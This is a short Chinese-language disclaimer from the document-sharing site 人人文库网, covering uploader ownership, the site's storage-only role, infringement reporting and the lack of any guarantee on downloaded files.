  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论